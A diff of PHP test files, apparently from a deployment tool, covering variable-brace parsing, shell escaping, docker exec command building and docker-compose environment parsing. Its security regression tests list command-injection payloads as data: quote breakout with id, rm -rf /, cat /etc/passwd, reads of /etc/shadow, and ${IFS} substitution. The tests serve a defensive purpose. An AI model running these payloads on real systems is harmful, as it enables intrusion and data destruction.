expect($result['content'])->toBe('VAR');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for unclosed with no content', function () {
|
||||
$result = extractBalancedBraceContent('${', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () {
|
||||
$result = extractBalancedBraceContent('${A:-${B:-${C}', 0);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('replaceVariables handles empty braces gracefully', function () {
|
||||
$result = replaceVariables('${}');
|
||||
|
||||
expect($result->value())->toBe('');
|
||||
});
|
||||
|
||||
test('replaceVariables handles double braces gracefully', function () {
|
||||
$result = replaceVariables('${{VAR}}');
|
||||
|
||||
expect($result->value())->toBe('{VAR}');
|
||||
});
|
||||
|
||||
// ─── Edge Cases with Braces and Special Characters ─────────────────────────────
|
||||
|
||||
test('extractBalancedBraceContent finds consecutive variables', function () {
|
||||
$str = '${A}${B}';
|
||||
|
||||
$first = extractBalancedBraceContent($str, 0);
|
||||
assertNotNull($first);
|
||||
expect($first['content'])->toBe('A');
|
||||
|
||||
$second = extractBalancedBraceContent($str, $first['end'] + 1);
|
||||
assertNotNull($second);
|
||||
expect($second['content'])->toBe('B');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles URL with port in default', function () {
|
||||
$split = splitOnOperatorOutsideNested('URL:-http://host:8080/path');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('URL')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('http://host:8080/path');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles equals sign in default', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('VAR')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('key=value&foo=bar');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles dashes in default value', function () {
|
||||
$split = splitOnOperatorOutsideNested('A:-value-with-dashes');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('value-with-dashes');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles question mark in default value', function () {
|
||||
$split = splitOnOperatorOutsideNested('A:-what?');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('what?');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles variable with digits', function () {
|
||||
$result = extractBalancedBraceContent('${VAR123}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('VAR123');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles long variable name', function () {
|
||||
$longName = str_repeat('A', 200);
|
||||
$result = extractBalancedBraceContent('${'.$longName.'}', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe($longName);
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested returns null for empty string', function () {
|
||||
$split = splitOnOperatorOutsideNested('');
|
||||
|
||||
assertNull($split);
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles variable name with underscores', function () {
|
||||
$split = splitOnOperatorOutsideNested('_MY_VAR_:-default');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('_MY_VAR_')
|
||||
->and($split['default'])->toBe('default');
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent with startPos beyond string length', function () {
|
||||
$result = extractBalancedBraceContent('${VAR}', 100);
|
||||
|
||||
assertNull($result);
|
||||
});
|
||||
|
||||
test('extractBalancedBraceContent handles brace in middle of text', function () {
|
||||
$result = extractBalancedBraceContent('prefix ${VAR} suffix', 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('VAR');
|
||||
});
|
||||
|
||||
// ─── Deeply Nested Defaults ────────────────────────────────────────────────────
|
||||
|
||||
test('extractBalancedBraceContent handles four levels of nesting', function () {
|
||||
$input = '${A:-${B:-${C:-${D}}}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('A:-${B:-${C:-${D}}}');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested handles four levels of nesting', function () {
|
||||
$content = 'A:-${B:-${C:-${D}}}';
|
||||
$split = splitOnOperatorOutsideNested($content);
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${B:-${C:-${D}}}');
|
||||
|
||||
// Verify second level
|
||||
$nested = extractBalancedBraceContent($split['default'], 0);
|
||||
assertNotNull($nested);
|
||||
$split2 = splitOnOperatorOutsideNested($nested['content']);
|
||||
assertNotNull($split2);
|
||||
expect($split2['variable'])->toBe('B')
|
||||
->and($split2['default'])->toBe('${C:-${D}}');
|
||||
});
|
||||
|
||||
test('multiple variables at same depth in default', function () {
|
||||
$input = '${A:-${B}/${C}/${D}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
assertNotNull($result);
|
||||
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
assertNotNull($split);
|
||||
expect($split['default'])->toBe('${B}/${C}/${D}');
|
||||
|
||||
// Verify all three nested variables can be found
|
||||
$default = $split['default'];
|
||||
$vars = [];
|
||||
$pos = 0;
|
||||
while (($nested = extractBalancedBraceContent($default, $pos)) !== null) {
|
||||
$vars[] = $nested['content'];
|
||||
$pos = $nested['end'] + 1;
|
||||
}
|
||||
|
||||
expect($vars)->toBe(['B', 'C', 'D']);
|
||||
});
|
||||
|
||||
test('nested with mixed operators', function () {
|
||||
$input = '${A:-${B:?required}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['variable'])->toBe('A')
|
||||
->and($split['operator'])->toBe(':-')
|
||||
->and($split['default'])->toBe('${B:?required}');
|
||||
|
||||
// Inner variable uses :? operator
|
||||
$nested = extractBalancedBraceContent($split['default'], 0);
|
||||
$innerSplit = splitOnOperatorOutsideNested($nested['content']);
|
||||
|
||||
expect($innerSplit['variable'])->toBe('B')
|
||||
->and($innerSplit['operator'])->toBe(':?')
|
||||
->and($innerSplit['default'])->toBe('required');
|
||||
});
|
||||
|
||||
test('nested variable without default as default', function () {
|
||||
$input = '${A:-${B}}';
|
||||
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
|
||||
expect($split['default'])->toBe('${B}');
|
||||
|
||||
$nested = extractBalancedBraceContent($split['default'], 0);
|
||||
$innerSplit = splitOnOperatorOutsideNested($nested['content']);
|
||||
|
||||
assertNull($innerSplit);
|
||||
expect($nested['content'])->toBe('B');
|
||||
});
|
||||
|
||||
// ─── Backwards Compatibility ───────────────────────────────────────────────────
|
||||
|
||||
test('replaceVariables with brace format without dollar sign', function () {
|
||||
$result = replaceVariables('{MY_VAR}');
|
||||
|
||||
expect($result->value())->toBe('MY_VAR');
|
||||
});
|
||||
|
||||
test('replaceVariables with truncated brace format', function () {
|
||||
$result = replaceVariables('{MY_VAR');
|
||||
|
||||
expect($result->value())->toBe('MY_VAR');
|
||||
});
|
||||
|
||||
test('replaceVariables with plain string returns unchanged', function () {
|
||||
$result = replaceVariables('plain_value');
|
||||
|
||||
expect($result->value())->toBe('plain_value');
|
||||
});
|
||||
|
||||
test('replaceVariables preserves full content for variable with default', function () {
|
||||
$result = replaceVariables('${DB_HOST:-localhost}');
|
||||
|
||||
expect($result->value())->toBe('DB_HOST:-localhost');
|
||||
});
|
||||
|
||||
test('replaceVariables preserves nested content for variable with nested default', function () {
|
||||
$result = replaceVariables('${DB_URL:-${SERVICE_URL_PG}/db}');
|
||||
|
||||
expect($result->value())->toBe('DB_URL:-${SERVICE_URL_PG}/db');
|
||||
});
|
||||
|
||||
test('replaceVariables with brace format containing default falls back gracefully', function () {
|
||||
$result = replaceVariables('{VAR:-default}');
|
||||
|
||||
expect($result->value())->toBe('VAR:-default');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested colon-dash takes precedence over bare dash', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR:-val-ue');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['operator'])->toBe(':-')
|
||||
->and($split['variable'])->toBe('VAR')
|
||||
->and($split['default'])->toBe('val-ue');
|
||||
});
|
||||
|
||||
test('splitOnOperatorOutsideNested colon-question takes precedence over bare question', function () {
|
||||
$split = splitOnOperatorOutsideNested('VAR:?error?');
|
||||
|
||||
assertNotNull($split);
|
||||
expect($split['operator'])->toBe(':?')
|
||||
->and($split['variable'])->toBe('VAR')
|
||||
->and($split['default'])->toBe('error?');
|
||||
});
|
||||
|
||||
test('full round trip: extract, split, and resolve nested variables', function () {
|
||||
$input = '${APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health}';
|
||||
|
||||
// Step 1: Extract outer content
|
||||
$result = extractBalancedBraceContent($input, 0);
|
||||
assertNotNull($result);
|
||||
expect($result['content'])->toBe('APP_URL:-${SERVICE_URL_APP}/v${API_VERSION:-2}/health');
|
||||
|
||||
// Step 2: Split on outer operator
|
||||
$split = splitOnOperatorOutsideNested($result['content']);
|
||||
assertNotNull($split);
|
||||
expect($split['variable'])->toBe('APP_URL')
|
||||
->and($split['default'])->toBe('${SERVICE_URL_APP}/v${API_VERSION:-2}/health');
|
||||
|
||||
// Step 3: Find all nested variables in default
|
||||
$default = $split['default'];
|
||||
$nestedVars = [];
|
||||
$pos = 0;
|
||||
while (($nested = extractBalancedBraceContent($default, $pos)) !== null) {
|
||||
$innerSplit = splitOnOperatorOutsideNested($nested['content']);
|
||||
$nestedVars[] = [
|
||||
'name' => $innerSplit !== null ? $innerSplit['variable'] : $nested['content'],
|
||||
'default' => $innerSplit !== null ? $innerSplit['default'] : null,
|
||||
];
|
||||
$pos = $nested['end'] + 1;
|
||||
}
|
||||
|
||||
expect($nestedVars)->toHaveCount(2)
|
||||
->and($nestedVars[0]['name'])->toBe('SERVICE_URL_APP')
|
||||
->and($nestedVars[0]['default'])->toBeNull()
|
||||
->and($nestedVars[1]['name'])->toBe('API_VERSION')
|
||||
->and($nestedVars[1]['default'])->toBe('2');
|
||||
});
|
||||
@@ -0,0 +1,57 @@
|
||||
<?php
|
||||
|
||||
it('wraps a simple value in single quotes', function () {
|
||||
expect(escapeShellValue('hello'))->toBe("'hello'");
|
||||
});
|
||||
|
||||
it('escapes single quotes in the value', function () {
|
||||
expect(escapeShellValue("it's"))->toBe("'it'\\''s'");
|
||||
});
|
||||
|
||||
it('handles empty string', function () {
|
||||
expect(escapeShellValue(''))->toBe("''");
|
||||
});
|
||||
|
||||
it('preserves && in a single-quoted value', function () {
|
||||
$result = escapeShellValue('npx prisma generate && npm run build');
|
||||
expect($result)->toBe("'npx prisma generate && npm run build'");
|
||||
});
|
||||
|
||||
it('preserves special shell characters in value', function () {
|
||||
$result = escapeShellValue('echo $HOME; rm -rf /');
|
||||
expect($result)->toBe("'echo \$HOME; rm -rf /'");
|
||||
});
|
||||
|
||||
it('handles value with double quotes', function () {
|
||||
$result = escapeShellValue('say "hello"');
|
||||
expect($result)->toBe("'say \"hello\"'");
|
||||
});
|
||||
|
||||
it('produces correct output when passed through executeInDocker', function () {
|
||||
// Simulate the exact issue from GitHub #9042:
|
||||
// NIXPACKS_BUILD_CMD with chained && commands
|
||||
$envValue = 'npx prisma generate && npx prisma db push && npm run build';
|
||||
$escapedEnv = '--env '.escapeShellValue("NIXPACKS_BUILD_CMD={$envValue}");
|
||||
|
||||
$command = "nixpacks plan -f json {$escapedEnv} /app";
|
||||
$dockerCmd = executeInDocker('test-container', $command);
|
||||
|
||||
// The && must NOT appear unquoted at the bash -c level
|
||||
// The full docker command should properly nest the quoting
|
||||
expect($dockerCmd)->toContain('NIXPACKS_BUILD_CMD=npx prisma generate && npx prisma db push && npm run build');
|
||||
// Verify it's wrapped in docker exec bash -c
|
||||
expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
|
||||
expect($dockerCmd)->toEndWith("'");
|
||||
});
|
||||
|
||||
it('produces correct output for build-cmd with chained commands through executeInDocker', function () {
|
||||
$buildCmd = 'npx prisma generate && npm run build';
|
||||
$escapedCmd = escapeShellValue($buildCmd);
|
||||
|
||||
$command = "nixpacks plan -f json --build-cmd {$escapedCmd} /app";
|
||||
$dockerCmd = executeInDocker('test-container', $command);
|
||||
|
||||
// The build command value must remain intact inside the quoting
|
||||
expect($dockerCmd)->toContain('npx prisma generate && npm run build');
|
||||
expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
|
||||
});
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
|
||||
it('passes a simple command through correctly', function () {
|
||||
$result = executeInDocker('test-container', 'ls -la /app');
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'ls -la /app'");
|
||||
});
|
||||
|
||||
it('escapes single quotes in command', function () {
|
||||
$result = executeInDocker('test-container', "echo 'hello world'");
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
|
||||
});
|
||||
|
||||
it('prevents command injection via single quote breakout', function () {
|
||||
$malicious = "cd /dir && docker compose build'; id; #";
|
||||
$result = executeInDocker('test-container', $malicious);
|
||||
|
||||
// The single quote in the malicious command should be escaped so it cannot break out of bash -c
|
||||
// The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
|
||||
expect($result)->not->toContain("build'; id;");
|
||||
expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
|
||||
});
|
||||
|
||||
it('handles empty command', function () {
|
||||
$result = executeInDocker('test-container', '');
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c ''");
|
||||
});
|
||||
|
||||
it('handles command with multiple single quotes', function () {
|
||||
$result = executeInDocker('test-container', "echo 'a' && echo 'b'");
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
|
||||
});
|
||||
@@ -0,0 +1,147 @@
|
||||
<?php
|
||||
|
||||
test('extracts simple environment variables from docker-compose', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx
|
||||
environment:
|
||||
- NODE_ENV=production
|
||||
- PORT=3000
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toHaveCount(2)
|
||||
->and($result[0]['key'])->toBe('NODE_ENV')
|
||||
->and($result[0]['value'])->toBe('production')
|
||||
->and($result[0]['service_name'])->toBe('app')
|
||||
->and($result[1]['key'])->toBe('PORT')
|
||||
->and($result[1]['value'])->toBe('3000')
|
||||
->and($result[1]['service_name'])->toBe('app');
|
||||
});
|
||||
|
||||
test('extracts environment variables with inline comments', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
environment:
|
||||
- NODE_ENV=production # Production environment
|
||||
- DEBUG=false # Disable debug mode
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toHaveCount(2)
|
||||
->and($result[0]['comment'])->toBe('Production environment')
|
||||
->and($result[1]['comment'])->toBe('Disable debug mode');
|
||||
});
|
||||
|
||||
test('handles multiple services', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
environment:
|
||||
- APP_ENV=prod
|
||||
db:
|
||||
environment:
|
||||
- POSTGRES_DB=mydb
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toHaveCount(2)
|
||||
->and($result[0]['key'])->toBe('APP_ENV')
|
||||
->and($result[0]['service_name'])->toBe('app')
|
||||
->and($result[1]['key'])->toBe('POSTGRES_DB')
|
||||
->and($result[1]['service_name'])->toBe('db');
|
||||
});
|
||||
|
||||
test('handles associative array format', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
environment:
|
||||
NODE_ENV: production
|
||||
PORT: 3000
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toHaveCount(2)
|
||||
->and($result[0]['key'])->toBe('NODE_ENV')
|
||||
->and($result[0]['value'])->toBe('production')
|
||||
->and($result[1]['key'])->toBe('PORT')
|
||||
->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML
|
||||
});
|
||||
|
||||
test('handles environment variables without values', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
environment:
|
||||
- API_KEY
|
||||
- DEBUG=false
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toHaveCount(2)
|
||||
->and($result[0]['key'])->toBe('API_KEY')
|
||||
->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null
|
||||
->and($result[1]['key'])->toBe('DEBUG')
|
||||
->and($result[1]['value'])->toBe('false');
|
||||
});
|
||||
|
||||
test('returns empty collection for malformed YAML', function () {
|
||||
$yaml = 'invalid: yaml: content::: [[[';
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('returns empty collection for empty compose file', function () {
|
||||
$result = extractHardcodedEnvironmentVariables('');
|
||||
|
||||
expect($result)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('returns empty collection when no services defined', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: '3.8'
|
||||
networks:
|
||||
default:
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('returns empty collection when service has no environment section', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
image: nginx
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
expect($result)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('handles mixed associative and array format', function () {
|
||||
$yaml = <<<'YAML'
|
||||
services:
|
||||
app:
|
||||
environment:
|
||||
- NODE_ENV=production
|
||||
PORT: 3000
|
||||
YAML;
|
||||
|
||||
$result = extractHardcodedEnvironmentVariables($yaml);
|
||||
|
||||
// Mixed format is invalid YAML and returns empty collection
|
||||
expect($result)->toBeEmpty();
|
||||
});
|
||||
@@ -0,0 +1,334 @@
|
||||
<?php
|
||||
|
||||
test('extractYamlEnvironmentComments returns empty array for YAML without environment section', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
ports:
|
||||
- "80:80"
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments extracts inline comments from map format', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
FOO: bar # This is a comment
|
||||
BAZ: qux
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'FOO' => 'This is a comment',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments extracts inline comments from array format', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- FOO=bar # This is a comment
|
||||
- BAZ=qux
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'FOO' => 'This is a comment',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
COLOR: "#FF0000" # hex color code
|
||||
DB_URL: "postgres://user:pass#123@localhost" # database URL
|
||||
PLAIN: value # no quotes
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'COLOR' => 'hex color code',
|
||||
'DB_URL' => 'database URL',
|
||||
'PLAIN' => 'no quotes',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
PASSWORD: 'secret#123' # my password
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'PASSWORD' => 'my password',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments skips full-line comments', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
# This is a full line comment
|
||||
FOO: bar # This is an inline comment
|
||||
# Another full line comment
|
||||
BAZ: qux
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'FOO' => 'This is an inline comment',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles multiple services', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
WEB_PORT: 8080 # web server port
|
||||
db:
|
||||
image: postgres:15
|
||||
environment:
|
||||
POSTGRES_USER: admin # database admin user
|
||||
POSTGRES_PASSWORD: secret
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'WEB_PORT' => 'web server port',
|
||||
'POSTGRES_USER' => 'database admin user',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles variables without values', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- DEBUG # enable debug mode
|
||||
- VERBOSE
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'DEBUG' => 'enable debug mode',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles array format with colons', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- DATABASE_URL: postgres://localhost # connection string
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'DATABASE_URL' => 'connection string',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
API_KEY: abc#def
|
||||
OTHER: xyz # this is a comment
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
// abc#def has no space before #, so it's not treated as a comment
|
||||
expect($result)->toBe([
|
||||
'OTHER' => 'this is a comment',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles empty environment section', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
ports:
|
||||
- "80:80"
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () {
|
||||
// Inline format like environment: { FOO: bar } is not supported for comment extraction
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment: { FOO: bar }
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
// No comments extracted from inline format
|
||||
expect($result)->toBe([]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
|
||||
services:
|
||||
app:
|
||||
image: myapp:latest
|
||||
environment:
|
||||
NODE_ENV: production # Set to development for local
|
||||
DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database
|
||||
REDIS_URL: "redis://cache:6379"
|
||||
API_SECRET: "${API_SECRET}" # From .env file
|
||||
LOG_LEVEL: debug # Options: debug, info, warn, error
|
||||
ports:
|
||||
- "3000:3000"
|
||||
|
||||
db:
|
||||
image: postgres:15
|
||||
environment:
|
||||
POSTGRES_USER: user # Database admin username
|
||||
POSTGRES_PASSWORD: "${DB_PASSWORD}"
|
||||
POSTGRES_DB: mydb
|
||||
|
||||
cache:
|
||||
image: redis:7
|
||||
environment:
|
||||
- REDIS_MAXMEMORY=256mb # Memory limit for cache
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'NODE_ENV' => 'Set to development for local',
|
||||
'DATABASE_URL' => 'Main database',
|
||||
'API_SECRET' => 'From .env file',
|
||||
'LOG_LEVEL' => 'Options: debug, info, warn, error',
|
||||
'POSTGRES_USER' => 'Database admin username',
|
||||
'REDIS_MAXMEMORY' => 'Memory limit for cache',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
environment:
|
||||
FOO: bar # comment # with # hashes
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'FOO' => 'comment # with # hashes',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles variables with empty comments', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
environment:
|
||||
FOO: bar #
|
||||
BAZ: qux #
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
// Empty comments should not be included
|
||||
expect($result)->toBe([]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments properly exits environment block on new section', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
FOO: bar # env comment
|
||||
ports:
|
||||
- "80:80" # port comment should not be captured
|
||||
volumes:
|
||||
- ./data:/data # volume comment should not be captured
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
// Only environment variables should have comments extracted
|
||||
expect($result)->toBe([
|
||||
'FOO' => 'env comment',
|
||||
]);
|
||||
});
|
||||
|
||||
test('extractYamlEnvironmentComments handles SERVICE_ variables', function () {
|
||||
$yaml = <<<'YAML'
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
environment:
|
||||
SERVICE_FQDN_WEB: /api # Path for the web service
|
||||
SERVICE_URL_WEB: # URL will be generated
|
||||
NORMAL_VAR: value # Regular variable
|
||||
YAML;
|
||||
|
||||
$result = extractYamlEnvironmentComments($yaml);
|
||||
|
||||
expect($result)->toBe([
|
||||
'SERVICE_FQDN_WEB' => 'Path for the web service',
|
||||
'SERVICE_URL_WEB' => 'URL will be generated',
|
||||
'NORMAL_VAR' => 'Regular variable',
|
||||
]);
|
||||
});
|
||||
@@ -91,3 +91,53 @@ test('file storage accepts paths with underscores and hyphens', function () {
|
||||
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
// --- Regression tests for GHSA-46hp-7m8g-7622 ---
|
||||
// These verify that file mount paths (not just directory mounts) are validated,
|
||||
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
|
||||
|
||||
test('file storage rejects command injection in file mount path context', function () {
|
||||
$maliciousPaths = [
|
||||
'/app/config$(id)',
|
||||
'/app/config;whoami',
|
||||
'/app/config|cat /etc/passwd',
|
||||
'/app/config`id`',
|
||||
'/app/config&whoami',
|
||||
'/app/config>/tmp/pwned',
|
||||
'/app/config</etc/shadow',
|
||||
"/app/config\nrm -rf /",
|
||||
];
|
||||
|
||||
foreach ($maliciousPaths as $path) {
|
||||
expect(fn () => validateShellSafePath($path, 'file storage path'))
|
||||
->toThrow(Exception::class);
|
||||
}
|
||||
});
|
||||
|
||||
test('file storage rejects variable substitution in paths', function () {
|
||||
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
